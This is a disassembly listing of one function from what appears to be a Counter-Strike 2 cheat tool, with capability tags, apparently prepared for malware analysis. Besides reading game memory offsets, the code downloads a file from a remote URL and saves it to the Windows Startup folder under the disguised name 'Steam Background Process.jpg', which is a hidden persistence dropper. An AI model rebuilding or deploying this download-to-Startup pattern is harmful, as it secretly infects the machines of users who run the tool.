Function at 0x14000bb40
Capabilities:
Create http request
Get common file path
Get session user name
Get startup folder
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x860
mov rax, qword [0x1400ff080]
xor rax, rsp
mov qword [rsp + 0x850], rax
xor r13d, r13d
mov dword [rsp + 0x110], 0x101
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x340]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x14000beb2
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc0], r13
lea r8d, [r13 + 9]
lea rdx, str.C:Users_
lea rcx, [rsp + 0xa8]
call fcn.140003360
nop
lea rax, [rsp + 0x340]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000bbf0
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0xa8]
call fcn.14000f700
mov r8d, 0x5b
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupSteam_Background_Process.jpg
lea rcx, [rsp + 0xa8]
call fcn.14000f700
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.MyApp
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x14000be36
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x400100
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__play_lh.googleusercontent.com_TKSxUQvcstGcQucELtKQWAe_wbsoOihlvAk52LvfD_0XxlSv2zp_WfbA6_hNM5ptfkg
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000be10
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x120]
call fcn.140097140
mov r8d, 0x20
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x120]
call fcn.14000d9c0
nop
lea r9, [rsp + 0xe8]
mov r8d, 0x400
lea rdx, [rsp + 0x450]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000bd1a
mov eax, dword [rsp + 0xe8]
test eax, eax
je 0x14000bd1a
mov r8d, eax
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x120]
call fcn.14000db60
lea r9, [rsp + 0xe8]
mov r8d, 0x400
lea rdx, [rsp + 0x450]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000bcd4
lea rcx, [rsp + 0x128]
call fcn.14000f4d0
test rax, rax
jne 0x14000bd6c
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x168], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x130]
and eax, 0x17
mov dword [rsp + rcx + 0x130], eax
and eax, dword [rsp + rcx + 0x134]
jne 0x14000c9c6
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x11c], edx
lea rcx, [rsp + 0x128]
call fcn.14000d6c0
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x11c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x1c8]
call fcn.140072988
nop
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000be51
lea rdx, str.Failed_to_open_URL.
lea rcx, [0x140101810]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000be51
lea rdx, str.Failed_to_initialize_WinINet.
lea rcx, [0x140101810]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
lea rdx, str.File_downloaded_successfully_to_your_desktop_
lea rcx, [0x140101690]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
nop
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0x10
jb 0x14000bed4
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000beab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca21
call fcn.140094bbc
jmp 0x14000bed4
lea rdx, str.Failed_to_get_the_current_username.
lea rcx, [0x140101810]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
mov rsi, 0xffffffffffffffff
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc0], r13
mov r8d, 7
lea rdx, str.cs2.exe
lea rcx, [rsp + 0xa8]
call fcn.140003360
lea rdx, [rsp + 0xa8]
lea rcx, [0x1400ffd30]
call fcn.14000ae20
mov r15d, eax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 5]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x14000bf51
lea rdx, str.Failed_to_get_the_Documents_folder_path.
jmp 0x14000c972
lea rax, [rsp + 0x230]
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000bf60
mov rax, qword [0x140103e60]
lea r14, [0x140103e48]
cmp rdi, rax
ja 0x14000bfab
mov rbx, r14
cmp rax, 0x10
cmovae rbx, qword [0x140103e48]
mov qword [0x140103e58], rdi
mov r8, rdi
lea rdx, [rsp + 0x230]
mov rcx, rbx
call fcn.140096a80
mov byte [rbx + rdi], 0
jmp 0x14000bfbe
lea r9, [rsp + 0x230]
mov rdx, rdi
mov rcx, r14
call fcn.140009bc0
mov r8d, 0xd
lea rdx, str._CS2_External
mov rcx, r14
call fcn.14000f700
test r15d, r15d
je 0x14000bffb
lea rdx, str._ERROR__Failed_to_attach_process__StatusCode:
lea rcx, [0x140101690]
call fcn.1400110c0
mov edx, r15d
mov rcx, rax
call fcn.14000dd00
jmp 0x14000c97e
call fcn.140013330
test al, al
jne 0x14000c017
lea rdx, str._ERROR__Failed_to_update_offsets.
lea rcx, [0x140101690]
jmp 0x14000c979
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc0], r13
mov r12d, 0xa
mov r8d, r12d
lea rdx, str.client.dll
lea rcx, [rsp + 0xa8]
call fcn.140003360
lea rdx, [rsp + 0xa8]
lea rcx, [0x1400ffd30]
call fcn.140009d00
mov rdx, rax
mov qword [0x140103d10], rax
mov ecx, dword [0x140103130]
add rcx, rax
mov qword [0x140103d18], rcx
mov ecx, dword [0x140103134]
add rcx, rax
mov qword [0x140103d20], rcx
mov ecx, dword [0x14010312c]
add rcx, rax
mov qword [0x140103d28], rcx
mov ecx, dword [0x140103144]
add rcx, rax
mov qword [0x140103d38], rcx
mov ecx, dword [0x140103140]
add rcx, rax
mov qword [0x140103d40], rcx
mov eax, dword [0x14010313c]
add rax, rdx
mov qword [0x140103d48], rax
mov eax, dword [0x140103138]
add rax, rdx
mov qword [0x140103d50], rax
test rdx, rdx
jne 0x14000c0f7
lea rdx, str._ERROR__Failed_to_call_InitAddress__.
lea rcx, [0x140101690]
jmp 0x14000c979
mov r8d, dword [0x1400ffd40]
lea rdx, str._Game__Pid:_d_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c121
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c174
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c16f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca27
call fcn.140094bbc
mov r15, qword [0x140103d10]
mov r9, r15
lea r8, str._Game__Client:_llX_n
xor edx, edx
xor ecx, ecx
call fcn.140003830
test eax, eax
jg 0x14000c1cb
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], r13
xor r8d, r8d
lea rdx, [0x1400dfff8]
lea rcx, [rsp + 0xf0]
call fcn.140003360
jmp 0x14000c26c
inc eax
movsxd rbx, eax
mov rcx, rbx
call fcn.140094bf0
mov rdi, rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc0], 0xf
mov byte [rsp + 0xa8], 0
mov r9, r15
lea r8, str._Game__Client:_llX_n
mov rdx, rbx
mov rcx, rax
call fcn.140003830
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], r13
inc rsi
cmp byte [rdi + rsi], 0
jne 0x14000c236
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0xc8]
call fcn.140003360
mov rcx, rdi
call fcn.140094bbc
vmovups ymm0, ymmword [rsp + 0xc8]
vmovups ymmword [rsp + 0xf0], ymm0
lea rdx, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae rdx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0x100]
lea rcx, [0x140101690]
vzeroupper
call fcn.140012db0
nop
mov rdx, qword [rsp + 0x108]
cmp rdx, 0x10
jb 0x14000c2e1
inc rdx
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c2dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca2d
call fcn.140094bbc
lea rdx, str.Offset:
lea rcx, [0x140101690]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
mov r8d, dword [0x140103130]
lea rdx, str.__EntityList:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c326
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c379
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c374
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca33
call fcn.140094bbc
mov r8d, dword [0x140103134]
lea rdx, str.__Matrix:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c3a3
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c3f6
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca39
call fcn.140094bbc
mov r8d, dword [0x140103144]
lea rdx, str.__LocalPlayerController:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c420
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c473
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c46e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca3f
call fcn.140094bbc
mov r8d, dword [0x14010312c]
lea rdx, str.__ViewAngles:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c49d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c4f0
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca45
call fcn.140094bbc
mov r8d, dword [0x140103140]
lea rdx, str.__LocalPlayerPawn:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c51a
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c56d
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c568
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca4b
call fcn.140094bbc
mov r8d, dword [0x14010313c]
lea rdx, str.__ForceJump:_llX_n
lea rcx, [rsp + 0xc8]
call fcn.140011410
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14000c597
mov rax, qword [rax]
mov rdx, rax
lea rcx, [0x140101690]
call fcn.140012db0
nop
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000c5ea
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca51
call fcn.140094bbc
mov rax, r14
cmp qword [0x140103e60], 0x10
cmovae rax, qword [0x140103e48]
mov qword [rsp + 0xf0], rax
mov rax, qword [0x140103e58]
mov qword [rsp + 0xf8], rax
call fcn.140071c64
vmovups xmm0, xmmword [rsp + 0xf0]
vmovdqa xmmword [rsp + 0xf0], xmm0
lea r8, [rsp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.14000b1e0
nop
lea rcx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 8
cmovae rcx, qword [rsp + 0xa8]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0xc8]
call fcn.140071ff0
mov r8d, eax
test eax, eax
jne 0x14000c6b5
mov ecx, dword [rsp + 0xd8]
bt ecx, 0xa
jae 0x14000c6a7
mov edx, dword [rsp + 0xdc]
cmp edx, 0xa000000c
jne 0x14000c69f
lea r12d, [rax + 4]
jmp 0x14000c6d3
cmp edx, 0xa0000003
je 0x14000c6d3
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
mov r12d, ecx
jmp 0x14000c6d3
sub eax, 2
je 0x14000c6cd
sub eax, 1
je 0x14000c6cd
sub eax, 0x32
je 0x14000c6cd
cmp eax, 0x46
je 0x14000c6cd
xor al, al
jmp 0x14000c6cf
mov al, 1
movzx r12d, al
mov dword [rsp + 0xf0], r8d
lea rax, [0x1400ffd08]
mov qword [rsp + 0xf8], rax
vmovups xmm0, xmmword [rsp + 0xf0]
vmovdqa xmmword [rsp + 0xf0], xmm0
test r12d, r12d
je 0x14000c74d
cmp r12d, 1
setne bl
mov rdx, qword [rsp + 0xc0]
cmp rdx, 8
jb 0x14000c75f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c75a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca57
jmp 0x14000c75a
xor bl, bl
test r8d, r8d
jne 0x14000ca5d
jmp 0x14000c708
call fcn.140094bbc
test bl, bl
je 0x14000c76f
lea rdx, str.Config_folder_connected:
jmp 0x14000c850
mov rax, r14
cmp qword [0x140103e60], 0x10
cmovae rax, qword [0x140103e48]
mov qword [rsp + 0xf0], rax
mov rax, qword [0x140103e58]
mov qword [rsp + 0xf8], rax
call fcn.140071c64
vmovups xmm0, xmmword [rsp + 0xf0]
vmovdqa xmmword [rsp + 0xf0], xmm0
lea r8, [rsp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.14000b1e0
nop
lea rcx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 8
cmovae rcx, qword [rsp + 0xa8]
call fcn.140071ec4
mov rbx, rax
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x14000ca73
mov rdx, qword [rsp + 0xc0]
cmp rdx, 8
jb 0x14000c841
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c83c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca88
call fcn.140094bbc
test bl, bl
je 0x14000c96b
lea rdx, str.Config_folder_created:
lea rcx, [0x140101690]
call fcn.1400110c0
cmp qword [0x140103e60], 0x10
cmovae r14, qword [0x140103e48]
mov r8, qword [0x140103e58]
mov rdx, r14
mov rcx, rax
call fcn.140012db0
mov rcx, rax
call fcn.140011380
lea rdx, str.Runing...
lea rcx, [0x140101690]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0xe8], rax
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0x40], rax
lea rax, [0x140005df0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x30], rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0xc0], r13
mov r8d, 7
lea rdx, str.SDL_app
lea rcx, [rsp + 0xa8]
call fcn.140003360
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], r13
mov r8d, 0x10
lea rdx, str.Counter_Strike_2
lea rcx, [rsp + 0xc8]
call fcn.140003360
nop
lea r9, [rsp + 0x40]
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0xc8]
call fcn.140063d30
nop
jmp 0x14000c986
lea rdx, str.Failed_to_create_the_config_directory.
lea rcx, [0x140101810]
call fcn.1400110c0
mov rcx, rax
call fcn.140011380
lea rcx, str.pause
call fcn.14009f4e8
xor eax, eax
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.140094720
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test al, 4
je 0x14000c9d3
lea rbx, str.ios_base::badbit_set
jmp 0x14000c9e7
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0xf0]
call fcn.14000a110
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x80]
call fcn.14000acc0
lea rdx, [0x1400fd3e8]
lea rcx, [rsp + 0x80]
call fcn.14009699c
nop
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
int3
call fcn.14009b434
nop
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0xf0]
call fcn.14000bae0
nop
lea r8, [rsp + 0xa8]
lea rcx, str.create_directory
call fcn.14000ba70
nop
call fcn.14009b434
int3